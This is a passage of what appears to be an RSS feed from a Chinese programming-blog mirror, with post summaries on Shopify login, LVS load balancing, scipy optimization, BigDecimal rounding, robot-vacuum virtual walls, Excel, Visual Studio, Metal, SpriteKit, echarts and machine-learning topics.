      <description>上一期中介绍了关于Shopify账号的问题，Shopify账号一共分为两类:帐户所有者和员工帐户(点击这里查阅详情)。今天主要来说说关于Shopify登入的那些事。有很多人反映说Shopify登不上去或者是忘记Shopify账号密码怎么办？Shopify到底有几种登入途径？&#xA;其实，您可以登录桌面版Shopify，或者使用适用于iPhone 或Android的 Shopify应用。&#xA;这里的Shopify应用主要有三大功能：&#xA;1.在Shopify应用中管理您的产品&#xA;上传Shopify产品照片&#xA;设置Shopify产品和定价细节&#xA;将Shopify产品添加到集合中&#xA;2.在Shopify应用中只需轻点几下即可处理您的订单&#xA;履行，退款或归档订单&#xA;购买和打印运输标签&#xA;查看转换详情&#xA;3.在Shopify应用中回应实时信息&#xA;查看实时销售和访客流量&#xA;获取订单通知&#xA;与员工沟通&#xA;Shopify登入输错密码怎么办？&#xA;如果您在登录Shopify期间输入了错误的密码，Shopify系统会在您下次尝试登录时要求您确认自己不是机器人。如果您的浏览器处于私密或隐身模式，或者您在上次登录 Shopify 后清除了浏览历史记录，系统还会要求您完成验证步骤。在单击验证之前，您需要等待每个验证步骤中的所有图片完成加载。&#xA;Shopify重置密码&#xA;如果您忘记了Shopify登录密码，或者您希望Shopify帐户更安全，则可以进行重置。如果您是Shopify帐户所有者，则您可以重置自己的密码和员工的密码。&#xA;重置密码的步骤与启用双重身份验证的步骤相同。如果您忘记了用于登录 Shopify的电子邮件，请联系支持人员。&#xA;【热门推荐】如何用最少的钱开始shopify建站推广</description>
    </item>
    <item>
      <title>7 centos lvs nat配置_LVS负载均衡策略的部署与应用</title>
      <link>https://bchobby.github.io/posts/09f543f4aed19a79862e889bfc201ea6/</link>
      <pubDate>Tue, 22 Dec 2020 12:17:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/09f543f4aed19a79862e889bfc201ea6/</guid>
      <description>通常来说负载均衡可分为四层负载均衡和七层负载均衡，而四层负载均衡策略中比较典型的实现方式为LVS负载均衡&#xA;LVS简介 LVS负载均衡中有三种调度方法，分别为:NAT(Network Address Translation网络地址转换)、TUN(tunnel 隧道)、DR(direct route 直接路由)LVS-DR&#xA;DR模式下需要LVS服务器和后台服务器绑定同一个VIP， 一个请求过来时，LVS只需要将网络帧的MAC地址修改为其中一台后台服务器的MAC，该包就会被转发到相应的服务器处理，当服务器返回响应时，只要直接向用户的IP地址返回即可，不再经过LVS服务器&#xA;优缺点：&#xA;1)lvs接收请求输入，将请求转发给RS，由RS输出响应给用户，性能非常高。&#xA;2)不足之处是要求负载均衡器与RS在一个物理段上LVS-TUN&#xA;LVS-TUN模式是通过ip隧道技术减轻lvs调度服务器的压力，很多时候服务器收到的请求包很短小，但应答包通常很大，负载均衡器只负责将请求包分发给后台服务器，后台服务器会直接将应答包返回给用户。因此，负载均衡器能处理很巨大的请求量。&#xA;优缺点：&#xA;1)性能比LVS-NAT模式要高的多，且不限制负载均衡器与后台服务器在一个物理段上&#xA;2)不足之处是需要所有的服务器都要支持&#34;IP Tunneling&#34;协议LVS-NAT&#xA;LVS-NAT模式是一种外网和内网地址映射的技术。在NAT模式中，LVS需要作为后台服务器的网关，当客户端访问LVS服务器的外网网卡IP地址时，LVS会将数据包的目标IP地址改为后台服务器的IP地址；当后台服务器返回响应时，同样需要通过LVS服务器作为网关进行中转，LVS服务器会将数据包的源地址改为LVS服务器的外网网卡IP地址，因此客户端会认为响应是LVS服务器返回的&#xA;优缺点：&#xA;1)可以有效把后台服务器IP地址隐藏起来&#xA;2)NAT模式请求和响应都需要经过lvs，性能没有DR模式好前期准备&#xA;准备三台centos7,配置IP地址和hostname，同步时间，关闭防火墙和selinux，配置IP地址和hostname映射&#xA;hostnameipnode1192.168.29.143node2192.168.29.142node3192.168.29.144 在node2和node3中部署httpd服务并修改首页内容&#xA;[root@node2 ~]# yum install httpd -y&#xA;[root@node2 ~]# echo node2 &amp;gt; /var/www/html/index.html&#xA;[root@node3 ~]# yum install httpd -y&#xA;[root@node3 ~]# echo node3 &amp;gt; /var/www/html/index.html&#xA;[root@node2 ~]# systemctl start httpd&#xA;[root@node3 ~]# systemctl start httpd node1部署ipvsadm&#xA;[root@node1 ~]# yum install ipvsadm -y&#xA;[root@node1 ~]# systemctl start ipvsadm.</description>
    </item>
    <item>
      <title>python scipy optimize_python – 当不满足约束时,Scipy optimize.minimize成功退出</title>
      <link>https://bchobby.github.io/posts/638726ded5629a8c42d3c93d1c1d4268/</link>
      <pubDate>Tue, 22 Dec 2020 11:16:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/638726ded5629a8c42d3c93d1c1d4268/</guid>
      <description>我一直在使用scipy.optimize.minimize&#xA;(docs)&#xA;当我定义一个无法满足约束的问题时,我注意到了一些奇怪的行为.这是一个例子：&#xA;from scipy import optimize&#xA;# minimize f(x) = x^2 - 4x&#xA;def f(x):&#xA;return x**2 - 4*x&#xA;def x_constraint(x, sign, value):&#xA;return sign*(x - value)&#xA;# subject to x &amp;gt;= 5 and x&amp;lt;=0 (not possible)&#xA;constraints = []&#xA;constraints.append({&#39;type&#39;: &#39;ineq&#39;, &#39;fun&#39;: x_constraint, &#39;args&#39;: [1, 5]})&#xA;constraints.append({&#39;type&#39;: &#39;ineq&#39;, &#39;fun&#39;: x_constraint, &#39;args&#39;: [-1, 0]})&#xA;optimize.minimize(f, x0=3, constraints=constraints)&#xA;结果输出：&#xA;fun: -3.0&#xA;jac: array([ 2.])&#xA;message: &#39;Optimization terminated successfully.&#39;&#xA;nfev: 3</description>
    </item>
    <item>
      <title>C#visual studio引用路径第三方DLL库</title>
      <link>https://bchobby.github.io/posts/5dab2e5f09821086d48cb03035b3a779/</link>
      <pubDate>Tue, 22 Dec 2020 09:37:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5dab2e5f09821086d48cb03035b3a779/</guid>
      <description>对第三方的DLL动态链接库的引用，最好不要直接放在bin目录下，因为根据调试与否有两个子目录debug和release，你要记得放两遍，比较麻烦，另外如果采用git等代码管理工具，一般是不包括bin目录的。&#xA;所以，最好在源程序目录下新建个子目录，叫不叫lib都无所谓，然后从这里添加引用就可以了。&#xA;另外，不论从哪里添加的引用dll，如果编译器从原位置找不到该dll，就会尝试从“引用路径”下寻找该dll，引用路径可以使用visual studio的项目属性配置界面设置，也可以直接编制配置文件（*.csproj文件和*.csproj.user文件）。&#xA;如果用配置界面，则在visual studio的项目属性的“引用路径”下设置，但配置的结果默认存在*.csproj.user文件，该文件默认情况下并不提交给源码管理器(git/svn等)，因此可以把相关配置信息手工放在*.csproj文件中，就可以纳入源代码管理了。&#xA;引用路径配置如下，但似乎支持相对路径：&#xA;&amp;lt;PropertyGroup&amp;gt;&#xA;&amp;lt;ReferencePath&amp;gt;d:\ddd\ddd\lib\&amp;lt;/ReferencePath&amp;gt;&#xA;&amp;lt;/PropertyGroup&amp;gt;</description>
    </item>
    <item>
      <title>bigdecimal取小数部分_BigDecimal保留两位小数点示例详解</title>
      <link>https://bchobby.github.io/posts/0e8bd3b7937c03ad437517defe9de2ec/</link>
      <pubDate>Tue, 22 Dec 2020 08:40:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0e8bd3b7937c03ad437517defe9de2ec/</guid>
      <description>BigDecimal保留两位小数点非常简单，BigDecimal是一个java数据类型，它能有效的保持数据的精度，下面是一个BigDecimal保留两位小数点的用法示例。public class MyDemo {&#xA;public static void main(String[] args) {&#xA;float num = 0.7563f;&#xA;//保留两位小数，会四舍五入&#xA;BigDecimal percent = BigDecimal.valueOf(num).setScale(2,BigDecimal.ROUND_HALF_UP);&#xA;System.out.println(percent);&#xA;}&#xA;}&#xA;上面的示例输出的结果为：0.76，接下来我将来BigDecimal类型的一些常量含义进行说明。&#xA;ROUND_CEILING ：&#xA;表示正无穷大(会尽量取最接近该数字并且最大的值)，并不是四舍五入，比如正数0.7546或0.7586，保留两位小数都会变成0.76；如果是负数-0.7546或-0.7586，都会取最大值，变成-0.75。&#xA;ROUND_FLOOR ：&#xA;表示负无穷大(会尽量取最接近该数字并且最小的值)，不四舍五入，如正数0.7546或0.7586，保留两个小数点都会变成0.75，如果是负数-0.7546或-0.7586，都会取最小值，变成-0.76。&#xA;ROUND_HALF_DOWN ：&#xA;表示四舍五入，这个不用解释了吧。&#xA;ROUND_HALF_UP ：&#xA;也是表示四舍五入，也不用解释了，和ROUND_HALF_DOWN的区别我也搞不清楚，做了很多次试验结果都一样。&#xA;BigDecimal其它的常量不经常使用，所以就没什么必要介绍了。&#xA;来源网站：太平洋学习网，转载请注明出处：http://www.tpyyes.com/a/java/388.html</description>
    </item>
    <item>
      <title>小米机器人虚拟墙设置_省钱！石头扫地机器人“虚拟墙”体验 禁区功能也好用...</title>
      <link>https://bchobby.github.io/posts/fd51d54158b845b626514ca971e96201/</link>
      <pubDate>Tue, 22 Dec 2020 01:14:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fd51d54158b845b626514ca971e96201/</guid>
      <description>——前言&#xA;随着智能家居不断迭代升级，其中的扫地机器人也在不断成长，当然于与此同时，人们也对于扫地机器人这一智能家居的热门成员、担当家务的熟客给予越来越多的期望。&#xA;然而在以往，扫地机器人在清扫过程中随意闯入卧室、卫生间，甚至转上几圈之后带回来一堆不该清扫的东西，毕竟机器人不长人眼，难免不分青红皂白地把该清理的和不该清理的通通一刀切。&#xA;那么转一圈之后把该清扫的不该清扫的东西通通吸进肚子，也就是说如果对其不加控制，由此而来扫地机器人很容易从勤恳清洁工变成乱闯乱跑的淘气包。&#xA;好在近段时间，石头扫地机器人在近期的3.3.9_001632版本固件更新升级当中得到了“禁区”的特殊功能，由此，大家可通过米家APP设定设备清扫禁区，便再也不怕扫地机器人随处乱逛了。&#xA;快科技已经将手头的石头扫地机器人固件升级到了最新版本，我们此前对“润健虚拟墙”进行了测试体验，那么接下来便一同来看新出炉的“禁区”功能效果究竟如何。&#xA;——APP操作&#xA;和我们之前测试体验“软件虚拟墙”的时候相同，石头机器人的用户需要通过米家APP，按照APP提示先为家中的石头扫地机器人更新固件。&#xA;在固件升级完成之后，我们便能享受到不购买物理虚拟墙缺依然可以可以设置绕行区域的便利功能。&#xA;如图所示，使用软件虚拟墙还需要在米家 APP当中点开机器人设置，然后打开启“地图保存模式”。接着回到工作界面，即可以发现右上角出现了“地图编辑”的字样。&#xA;点击“编辑”字样即可进入如上界面。&#xA;——“禁区”实测&#xA;石头扫地机器人集合了LDS激光雷达及SLAM算法，能够以高达每秒2160次的频率进行智能测距，设备将通过激光雷达信息分析距离完成精准测距，并通过测得地图智能规划设备清扫路线。&#xA;在LDS激光雷达的基础上，石头扫地机器人还配备红外碰撞保护传感器和防跌落传感器，在清扫过程中判断清扫前方障碍物距离及清扫目标高度空间，并以此智能规划如何清扫或避开，也为禁区功能的正常运行提供了坚实前提保障。&#xA;如图，使用者可以通过米家APP该界面石头扫地机器人清扫禁区的范围，在手机端APP主界面可以清楚地看到设备剩余电量、清扫面积及清扫时间，我们来手动点击即可手动圈画房间清扫禁区。&#xA;根据我们在App上所看到的实时显示清扫路径，可以看到石头机器人的行进路线可以发现其在其在行走完一段路程之后遭遇笔者所勾勒的虚拟禁区，其碰壁之后就掉头逃窜。&#xA;其并没有进入笔者所勾画的禁区区域清扫，改变了以往一般扫地机器人需要通过设置外置实体虚拟墙或磁条来设定禁扫区的做法。也可以通过该界面查看扫地机器人清扫轨迹，了解扫地机器人清扫进度。&#xA;由以上动图，可以看到扫地机器人在遭遇虚拟禁区的“空气墙”之后掉头就走，没有了进屋大闹一番的欲望。&#xA;——写在最后&#xA;由笔者的亲身体验可见，其所上线的“禁区”功能确确实实与实体墙所具备的功能一致，能够带来完全一致不打折扣的体验。&#xA;不过值得一提的是，石头科技目前所研发生产的实体虚拟墙产品的销售会受到自家软件“禁区”及“软件虚拟墙”功能上线的影响，所以从其此举也可以看出石头科技在用户体验与短期营收的选择上倒向了用户。&#xA;那么现在手上有石头机器人的用户们，如果还没体验到这项功能，就赶紧打开米家APP动手更新吧。&#xA;- THE END -&#xA;转载请注明出处：快科技&#xA;责任编辑：</description>
    </item>
    <item>
      <title>小米机器人虚拟墙设置_大家都有就它独缺，姗姗来迟的虚拟墙方案终更新，小米扫地机器人...</title>
      <link>https://bchobby.github.io/posts/6704187d260c3de62d92858859f08323/</link>
      <pubDate>Tue, 22 Dec 2020 01:13:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6704187d260c3de62d92858859f08323/</guid>
      <description>大家都有就它独缺，姗姗来迟的虚拟墙方案终更新，小米扫地机器人&#xA;对于现在的人来说，一方面面临着工作的压力另一方面又面临着时间的压力，基本上一直都是处于连轴转的状态，下班回到家第一件事不是先脱去外套而是先睡上一觉，在睡眠时间越来越珍贵的现在，家务事真的是能少点就少一点，但现实情况并不允许我们对于家务事偷懒该做还得做。&#xA;现在我们在家里面的时间其实并不多，一则因为大多数人都必须早起感着上班，早高峰和写字楼的集中化是我们现在常见的情况，如果你住的地方离上班的公司近还好说，短途出行公交或是共享单车还是很方便的，但是如果是远途那就会早上开车路上堵、地铁人多堵基本上就是天天要打交道的了，这个原因就让很多人早上基本上就很早就要出门了。&#xA;另外一个就是下班的晚高峰问题了，也是因为上述同样的原因，晚上回家的时间基本上在归途中就浪费了不少，所以在回到住处后匆匆解决肚子问题后第一件事就是睡觉休息了，为的就是第二天能够早点起来，这样算下来在家里呆的时间基本上就很少了，而且在家行动的范围也不会太大，没有走动的地方最主要的垃圾基本还是那个就是灰尘了。&#xA;现代社会的这种情况并不是一个单独的例子，而是属于大部分的一天需要面对的场景，所以在这种情况下很多人会购买一个扫地机器人来解决家里的清洁问题，在很早以前这个高科技的产物还是昂贵的代名词，不过自从自主品牌进入到这个行业后，立马就将其中的很大水分挤出去了，现在不到3000就已经可以用上不错的扫地机器人了。&#xA;小米扫地机器人在消费者的口碑中其实还算挺高的了，特别是在升级换代后更甚，搭配激光测距传感器的使用，对于房屋的打扫就更加的智能了，不过在一些有水或者油污的区域我们并没有一个很好的办法来避免机器人进入，虽然很多品牌针对这种情况推出了很多实物虚拟墙来让机器人来自动避开这些区域，但是在使用上还是很麻烦的毕竟有些地方并不适合放着这些东西。&#xA;为了解决这个问题很多品牌都推出了基于软将的虚拟墙方案，而且在使用效果上还不错，但是在小米这一系列的扫地机器人中一直没有更新这个功能也是一直遭受很多小米用户的吐槽，在经过多次更新之后，现在小米扫地机器人的出品方“石头”终于将软件方案的虚拟墙加入固件中了，同期更新的还有一个“禁区”功能可以避免用户并不想扫地机器人打扫的地方。&#xA;对于这个功能来说其他品牌的用户可能早就享受到了便利，现在小米终于满足了用户的诉求，拥有小米或者石头扫地机器人的小伙伴可以更新机器人的版本来体验这两项方便的功能了。</description>
    </item>
    <item>
      <title>小米机器人虚拟墙设置_实测石头扫地机器人新功能：物理虚拟墙可以不用买了！...</title>
      <link>https://bchobby.github.io/posts/501b8e18cb54bc673c692f8b4b9677f6/</link>
      <pubDate>Tue, 22 Dec 2020 01:12:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/501b8e18cb54bc673c692f8b4b9677f6/</guid>
      <description>随着扫地机器人越来越普及，不少用户对扫地机器人的使用体验提出了更高的要求，一款智能产品，软件更新当然少不了。&#xA;近日，石头扫地机器人获得了 3.3.9_001632 版本固件更新，加入地图保存和禁区/软件虚拟墙功能，用户可以通过米家APP为家中的石头扫地机器人更新固件。&#xA;升级固件后，用户无需购买物理虚拟墙就可以轻松设置绕行区域、禁扫区域，避开用户不需要清扫的地方。一起来看一下这款极夜黑扫地机器人更新固件后的表现吧。&#xA;首先，打开米家 APP，点击我的设备-石头扫地机器人，点击右上角“地图编辑”，我们可以看到下方中间有两个选项，可以设置“虚拟墙”以及“禁区，保存设置后，开启清扫功能即可。&#xA;在地图上设置“虚拟墙”后，扫地机器人识别准确，不会越过“虚拟墙”，遇到提前设置好的“禁区”，则会自动绕过该区域，清扫其他地方。&#xA;此外，石头扫地机器人利用LDS激光测距传感器，能快速扫描房间获取距离信息，通过SLAM算法，实时构建房间地图，准确定位家具位置，由此规划扫地机器人清扫路径，保证全屋无漏打扫。App上还会实时显示清扫地图和清扫路径，用户点开便可查看扫地机器人的清扫进度。&#xA;此番更新的虚拟墙与禁区功能，在实际的体验上为我们带来了不少便利，想要体验的可下载更新。&#xA;喜欢数码科技资讯的你，就记得点击订阅啦。&#xA;关注「锋潮评测室」微信公众号【微信号：fengchaopingceshi】，还会送上更多你想要的哦~</description>
    </item>
    <item>
      <title>数字怎么横 竖排_(Excel中如何将竖着排列的数字变成横着排列。)excel表格竖着的数据变横...</title>
      <link>https://bchobby.github.io/posts/9fadcb878e27898bb45583bf3d8039cd/</link>
      <pubDate>Mon, 21 Dec 2020 22:32:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9fadcb878e27898bb45583bf3d8039cd/</guid>
      <description>Excel中如何将竖着排列的数字变成横着排列。&#xA;1次演示使用的软件为Excel表格，使用本为office家庭和版2016。&#xA;2、首先打开Excel电子表格，并在表格中输入一列竖着排列的数字。&#xA;3、选择这列竖排的数字，进行复制，然后在其他行单击鼠标右键，选择选择性粘贴，在弹出的选择性粘贴窗口中勾选转置按钮。&#xA;4、点击确定关闭选择性粘贴窗口，可以看到竖排的数字，现在已经被我们设置成了横排排列了。&#xA;excel表格复制的时候怎样把原来的竖着的粘贴成横向的?&#xA;后，转置粘贴就可以了。举例说明：&#xA;第一步，选择区域，按鼠标右键选择复制。如图：&#xA;第二步，选择目标区域，然后按鼠标右键-选择”选择性粘贴“。如图：&#xA;第三步：点击选择性粘贴后，将转置打钩。如图：&#xA;结果如图：&#xA;EXCEL透视表如何把竖排的表格变成横格排列&#xA;1、选择需要透视的数据源；&#xA;2、点击透视表按需求进行透视；&#xA;3、透视完成后，把数据透视表字段列标中的行标签内容拖到列标签，把原来的列标签内容拖到行标签处，这样就把竖排的表格变成横格排列了。&#xA;4、如图：&#xA;如何让excel表的竖排变成横排？&#xA;1、首先打开一个excel表格，然后一列数据。&#xA;2、然后选择这一列数据，点击复制。&#xA;3、复制了之后，选择一个单元格，然后点右键，点击选择性粘贴。&#xA;4、在弹出的选择性粘贴设置里面找到转置这个选项，并在其前面的方框中打勾。&#xA;5、最后点击确定，就可以将竖排的变成了横排了。</description>
    </item>
    <item>
      <title>vs2019的安装</title>
      <link>https://bchobby.github.io/posts/c9dde51e7b93532ff7c524c23a815b62/</link>
      <pubDate>Mon, 21 Dec 2020 22:30:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c9dde51e7b93532ff7c524c23a815b62/</guid>
      <description>Visual Studio是Windows平台是功能最为强大的重量级编程工具。最新版版Visual Studio 2019出来了，想要安装使用，该怎么下载安装呢？下面我们就来看看详细的教程。&#xA;一、下载visual studio 2019&#xA;1、打开浏览器，百度搜索【visual studio 2019】，点击图中红框内的微软VS2019官网。（当然我们文章顶部提供了vs2019软件下载。）&#xA;2、点击【下载预览版】，等待网页跳转，浏览器会自动下载VS2019的在线安装工具。&#xA;、找到下载好的安装工具，并打开。&#xA;二、安装&#xA;1、打开安装工具进入Visual Studio Installer，点击【继续】。&#xA;2、选择工作负载，如果什么都不选，那么安装以后的VS也只是一具空壳，不能进行程序开发，建议把Windows栏下的三个标签选中，并点击【安装】，这样安装后的VS2019就可以开发基于C#、C++的通用应用程序。&#xA;3、安装完成后自动打开【Visual Studio】，如果你没有账号，可以点击【以后再说】。进入就可以自动运行了&#xA;第二个方法：如果不想从官网进入也可以直接进入这个网址：VS下载，选择免费的社区版，会开始自动下载</description>
    </item>
    <item>
      <title>metal分析是什么意思_Metal框架详细解析（一）—— 基本概览</title>
      <link>https://bchobby.github.io/posts/f44e04c09eb44447d22a45f2e44a5a49/</link>
      <pubDate>Mon, 21 Dec 2020 20:45:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f44e04c09eb44447d22a45f2e44a5a49/</guid>
      <description>版本记录&#xA;版本号&#xA;时间&#xA;V1.0&#xA;2017.10.05&#xA;前言&#xA;很多做视频和图像的，相信对这个框架都不是很陌生，它渲染高级3D图形，并使用GPU执行数据并行计算。接下来的几篇我们就详细的解析这个框架。&#xA;Metal是什么？&#xA;Metal 是一个和 OpenGL ES 类似的面向底层的图形编程接口，通过使用相关的 api 可以直接操作 GPU。&#xA;注意：Metal只针对苹果的平台系统使用，不像OpenGL ES 那样可以进行跨平台使用但是它能最大的挖掘苹果移动设备的 GPU 能力，进行复杂的运算，像 Unity 等游戏引擎都通过 Metal 对 3D 能力进行了优化。&#xA;下面看一下Metal在苹果软硬件框架里面的架构。&#xA;UIKit -&amp;gt; Core Graphics -&amp;gt; Metal/OpenGL ES -&amp;gt; GPU Driver -&amp;gt; GPU&#xA;Metal根据不同的 CommandBufferEncoder 可以提供不同的能力，除了优秀的 3D 渲染能力，Metal 还能提供强大的计算能力。&#xA;在 WWDC 2015，苹果发布了 Metal Performance Shaders (MPS) 框架，iOS 9 上的一组高性能的图像滤镜，其实就是边写好的 Shaders，提供了优秀的图像处理能力。同时还提供了高性能的矩阵运算的 Shaders ，能用来做机器学习的运算，在 GPU 上运行卷积神经网络。&#xA;Metal的特点&#xA;下面看一下Metal的特点：&#xA;GPU 支持的 3D 渲染&#xA;和 CPU 并行处理数据 (深度学习)</description>
    </item>
    <item>
      <title>echarts时间散点图_【前端图表】echarts实现散点图x轴时间轴</title>
      <link>https://bchobby.github.io/posts/7275a22bc7b2dbe321e2ba9495eeb32a/</link>
      <pubDate>Mon, 21 Dec 2020 20:45:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7275a22bc7b2dbe321e2ba9495eeb32a/</guid>
      <description>// 基于准备好的dom，初始化echarts实例&#xA;var myChart = echarts.init(document.getElementById(&#39;main&#39;));&#xA;//第二步构造数据&#xA;var data1 = [];//数据区域缩放组件&#xA;var data2 = [];&#xA;var data3 = [];&#xA;//构造随机数&#xA;var random = function (max){&#xA;return (Math.random() * max).toFixed(3);&#xA;};&#xA;//将数据装载到数组中&#xA;for (var i = 0; i &amp;lt; 500; i++) {&#xA;data1.push([random(15), random(10), random(1)]);&#xA;data2.push([random(10), random(10), random(1)]);&#xA;data3.push([random(15), random(10), random(1)]);&#xA;};&#xA;//3、配置option项&#xA;//第三步就是使用echarts的option进行参数的配置&#xA;option = {&#xA;animation: false,//是否开启动画，默认是开启的，true是开启的,false是关闭的&#xA;//图例&#xA;legend: {&#xA;data: [&#xA;{&#xA;name:&#39;scatter2&#39;,&#xA;icon:&#39;circle&#39;,//强制设置图形长方形&#xA;textStyle:&#xA;{color:&#39;red&#39;}//设置文本为红色&#xA;},</description>
    </item>
    <item>
      <title>spritekit 动画_SpriteKit框架详细解析（一） —— 基本概览（一）</title>
      <link>https://bchobby.github.io/posts/90e255bb4d3e29c30a81cdb193dd7263/</link>
      <pubDate>Mon, 21 Dec 2020 17:49:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/90e255bb4d3e29c30a81cdb193dd7263/</guid>
      <description>版本记录&#xA;版本号&#xA;时间&#xA;V1.0&#xA;2017.12.01&#xA;前言&#xA;SpriteKit框架使用优化的动画系统，物理模拟和事件处理支持创建基于2D精灵的游戏。接下来这几篇我们就详细的解析一下这个框架。&#xA;Overview&#xA;下面看一下该框架的基本信息。&#xA;SpriteKit提供了一个图形渲染和动画的基础结构，你可以使用它让任意类型的纹理图片或者精灵动起来。SpriteKit使用传统的渲染循环，在每一帧被渲染之前帧的内容就已经处理好了。你的游戏决定了场景的内容以及场景中的每一帧是如何变化的。SpriteKit利用图形硬件高效的渲染动画的每一帧。SpriteKit是经过高度优化的，所以精灵的位置可以在每帧动画中任意的改变。&#xA;接下来我们看一下原理图，这个原理图很好的说明了SpriteKit框架渲染每一帧的基本流程。&#xA;SpriteKit是一个图形渲染和动画基础架构，您可以使用它来动画任意纹理图像，否则称为sprites。 SpriteKit提供了一个传统的渲染循环，在确定渲染帧和渲染帧之间交替进行。 您确定帧的内容以及这些内容如何更改。 SpriteKit完成了使用图形硬件高效渲染该帧的工作。 SpriteKit针对任意动画或内容更改进行了优化。 这种设计使SpriteKit更适合需要灵活处理动画的游戏和应用程序。&#xA;Sprite Content is Drawn by Presenting Scenes Inside a Sprite View - Sprite内容通过在Sprite视图中呈现场景来绘制&#xA;动画和渲染由SKView对象执行。 你把这个视图放到一个窗口window中，然后把内容呈现给它。 因为它是一个视图View，其内容可以与视图层次结构中的其他视图组合。&#xA;游戏中的内容被组织成场景scene，由SKScene对象表示。 一个场景持有精灵sprites和其他内容被渲染。 场景还实现了每帧逻辑和内容处理。 在任何时候，视图呈现一个场景scene。 只要场景呈现，其动画和每帧逻辑就会自动执行。&#xA;要使用SpriteKit创建游戏或应用程序，您要么SKScene类的子类，要么创建一个场景scene代理来执行主要的游戏相关任务。 例如，您可以创建单独的场景类来显示主菜单，游戏画面和游戏结束后显示的内容。 您可以在窗口中window轻松使用单个SKView对象，并在不同的场景之间切换。 切换场景时，可以使用SKTransition类在两个场景之间进行动画处理。&#xA;A Node Tree Defines What Appears in a Scene - 节点树定义场景中出现的内容&#xA;SKScene类是SKNode类的后代。 使用SpriteKit时，节点nodes是所有内容的基本构建块，场景scene对象充当节点对象树的根节点。 场景及其后代决定了哪些内容被绘制以及如何渲染。&#xA;每个节点的位置在其父节点定义的坐标系中指定。 节点还将其他属性应用于其内容及其后代的内容。 例如，当一个节点被旋转时，它的所有后代也被旋转。 您可以使用节点树构建复杂的图像，然后通过调整最顶层节点的属性来旋转，缩放和混合整个图像。&#xA;SKNode类不会绘制任何东西，但它将其属性应用到它的后代。 SpriteKit中的每种可绘制内容都由一个不同的子类来表示。 其他一些节点子类不绘制自己的内容，但修改其后代的行为。 例如，可以使用SKEffectNode对象将Core Image filter应用于场景scene中的整个子树。 通过精确地控制节点树的结构，可以确定节点的渲染顺序。&#xA;所有节点对象都是响应者responder对象，都是UIResponder或NSResponder的子类，因此您可以继承任何节点类并创建接受用户输入的新类。 视图view类自动扩展响应者链以包含场景的节点树。</description>
    </item>
    <item>
      <title>什么是样本不均衡问题？如何解决</title>
      <link>https://bchobby.github.io/posts/d178c52b3ad9019ac55a3ed6be6f3895/</link>
      <pubDate>Mon, 21 Dec 2020 15:19:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d178c52b3ad9019ac55a3ed6be6f3895/</guid>
      <description> 何为样本不均衡：&#xA;样本分布不均衡就是指样本差异非常大，例如共1000条数据样本的数据集中，其中占有10条样本分类，其特征无论如何你和也无法实现完整特征值的覆盖，此时属于严重的样本分布不均衡。&#xA;为何要解决样本不均衡：&#xA;样本分部不均衡的数据集也是很常见的：比如恶意刷单、黄牛订单、信用卡欺诈、电力窃电、设备故障、大企业客户流失等。&#xA;样本不均衡将导致样本量少的分类所包含的特征过少，很难从中提取规律，即使得到分类模型，也容易产生过度依赖于有限的数量样本而导致过拟合问题，当模型应用到新的数据上时，模型的准确性和健壮性将会很差。&#xA;样本不均衡的解决方法：&#xA;过采样 通过增加分类中样本较少的类别的采样数量来实现平衡，最直接的方法是简单复制小样本数据，缺点是如果特征少，会导致过拟合的问题。经过改进的过抽样方法通过在少数类中加入随机噪声、干扰数据或通过一定规则产生新的合成样本。&#xA;欠采样 通过减少分类中多数类样本的数量来实现样本均衡，最直接的方法是随机去掉一些多数类样本来减小多数类的规模，缺点是会丢失多数类中的一些重要信息。&#xA;设置权重 对不同样本数量的类别赋予不同的权重（通常会设置为与样本量成反比）&#xA;集成方法 每次生成训练集时使用所有分类中的小样本量，同时从分类中的大样本量中随机抽取数据来与小样本量合并构成训练集，这样反复多次会得到很多训练集和训练模型。最后在应用时，使用组合方法（例如投票、加权投票等）产生分类预测结果。这种方法类似于随机森林。缺点是，比较吃计算资源，费时。&#xA;类别不平衡问题&#xA;类别不平衡问题，顾名思义，即数据集中存在某一类样本，其数量远多于或远少于其他类样本，从而导致一些机器学习模型失效的问题。例如逻辑回归即不适合处理类别不平衡问题，例如逻辑回归在欺诈检测问题中，因为绝大多数样本都为正常样本，欺诈样本很少，逻辑回归算法会倾向于把大多数样本判定为正常样本，这样能达到很高的准确率，但是达不到很高的召回率。 类别不平衡问题在很多场景中存在，例如欺诈检测，风控识别，在这些样本中，黑样本（一般为存在问题的样本）的数量一般远少于白样本（正常样本）。 上采样(过采样)和下采样(负采样）策略是解决类别不平衡问题的基本方法之一。上采样即增加少数类样本的数量，下采样即减少多数类样本以获取相对平衡的数据集。 最简单的上采样方法可以直接将少数类样本复制几份后添加到样本集中，最简单的下采样则可以直接只取一定百分比的多数类样本作为训练集。 </description>
    </item>
    <item>
      <title>tensorflow分类的loss函数_分类回归loss函数汇总分析</title>
      <link>https://bchobby.github.io/posts/08dcd48fa53302dec026690b35e9595e/</link>
      <pubDate>Mon, 21 Dec 2020 14:03:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/08dcd48fa53302dec026690b35e9595e/</guid>
      <description>版权声明：本文为博主原创文章，未经博主允许不得转载。 https://blog.csdn.net/qq_14845119/article/details/80787753&#xA;分类任务loss:&#xA;二分类交叉熵损失sigmoid_cross_entropy：&#xA;TensorFlow 接口：&#xA;tf.losses.sigmoid_cross_entropy(&#xA;multi_class_labels,&#xA;logits,&#xA;weights=1.0,&#xA;label_smoothing=0,&#xA;scope=None,&#xA;loss_collection=tf.GraphKeys.LOSSES,&#xA;reduction=Reduction.SUM_BY_NONZERO_WEIGHTS&#xA;)&#xA;tf.nn.sigmoid_cross_entropy_with_logits(&#xA;_sentinel=None,&#xA;labels=None,&#xA;logits=None,&#xA;name=None&#xA;)&#xA;keras 接口：&#xA;binary_crossentropy(y_true, 